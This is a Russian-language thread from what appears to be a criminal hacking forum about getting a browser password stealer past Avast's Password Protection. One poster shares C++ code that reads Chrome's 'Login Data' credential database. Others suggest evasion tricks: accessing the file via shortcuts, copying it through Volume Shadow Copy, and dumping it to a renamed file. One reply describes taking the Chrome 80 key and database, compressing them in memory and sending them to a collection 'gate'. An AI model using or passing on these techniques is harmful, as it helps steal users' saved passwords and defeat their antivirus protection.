• XSS.stack #1 – первый литературный журнал от юзеров форума

Avast Password Protection

Jeffs

(L1) cache
Забанен
Регистрация
28.12.2018
Сообщения
611
Реакции
358
Пожалуйста, обратите внимание, что пользователь заблокирован
При попытке прочитать/скопировать базу данных хрома ловлю предупреждение от аваста:
image.png


У кого какие предложения есть по обходу этой защиты?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Детект идёт на CreateFile с флагом GENERIC_READ.
Исходник:
C++:
#include <Windows.h>
#include <ShlObj.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
    char appDataPath[MAX_PATH];
    SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appDataPath);

    char chromeData[MAX_PATH];
    lstrcpyA(chromeData, appDataPath);
    lstrcatA(chromeData, "\\Google\\Chrome\\User Data\\Default\\Login Data");
    HANDLE hFile = CreateFileA(chromeData, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        DWORD fileSize = GetFileSize(hFile, 0);
        char* fileData = (char*)malloc(fileSize);
        if (fileData)
        {
            DWORD readed;
            ReadFile(hFile, fileData, fileSize, &readed, NULL);
            free(fileData);
        }
        CloseHandle(hFile);
    }
    return 0;
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Можно попробовать, например
1. Обращаться к файлам через ярлык
2. Скопировать файл чем-то типа VSS. Данный подход довольно много проблем решает.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
1. Обращаться к файлам через ярлык
Через ярлык, насколько я знаю, можно только получить путь до файла, аргументы и тд?


3. Скопировать файл чем-то типа VSS. Данный подход довольно много проблем решает.
Тип создать теневую копию и работать уже с ней?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Создай тупо дамп файла в этой же папке и работай с ним. И не придется отключать браузер. На CopyFile не реагируют обычно. Но при каждом дампе меня имя файла, чтоб потом не спалил ав.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А вообще, есло хром версии 80, то можно прост ключ взять + данные бд. Все это записать в память (zlib в помощь) отправить на гейт и все ок. А если дпапи, то как уже сказал дамп поработать и удалить
 
 
Последнее редактирование:
Через ярлык, насколько я знаю, можно только получить путь до файла, аргументы и тд?
Как я понял из MSDN, с ярлыками можно работать как с обычными файлами:

Тип создать теневую копию и работать уже с ней?
Есть софт, который позволяет копировать файлы через VSS, типа Runtime shadowcopy. Расковырять и посмотреть, как там это реализовано.
 
Интересно, а на что НЕ детектит аваст?
image.png



Благо эта защита только в прем-версии аваста
он же тебя детектит как рансомваре :) в первом случае была защита пароля.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как я понял из MSDN, с ярлыками можно работать как с обычными файлами:


Есть софт, который позволяет копировать файлы через VSS, типа Runtime shadowcopy. Расковырять и посмотреть, как там это реализовано.
Читал про vssapi, мутки с битностью. С ярлыками чуть позже гляну. Решение от Haunt оптимально, как по мне
 
Пожалуйста, обратите внимание, что пользователь заблокирован
он же тебя детектит как рансомваре :) в первом случае была защита пароля.
Да не может быть, врëшь?)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скрытое содержимое
можно примерный концепт... где и куда глянуть для реализации....
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх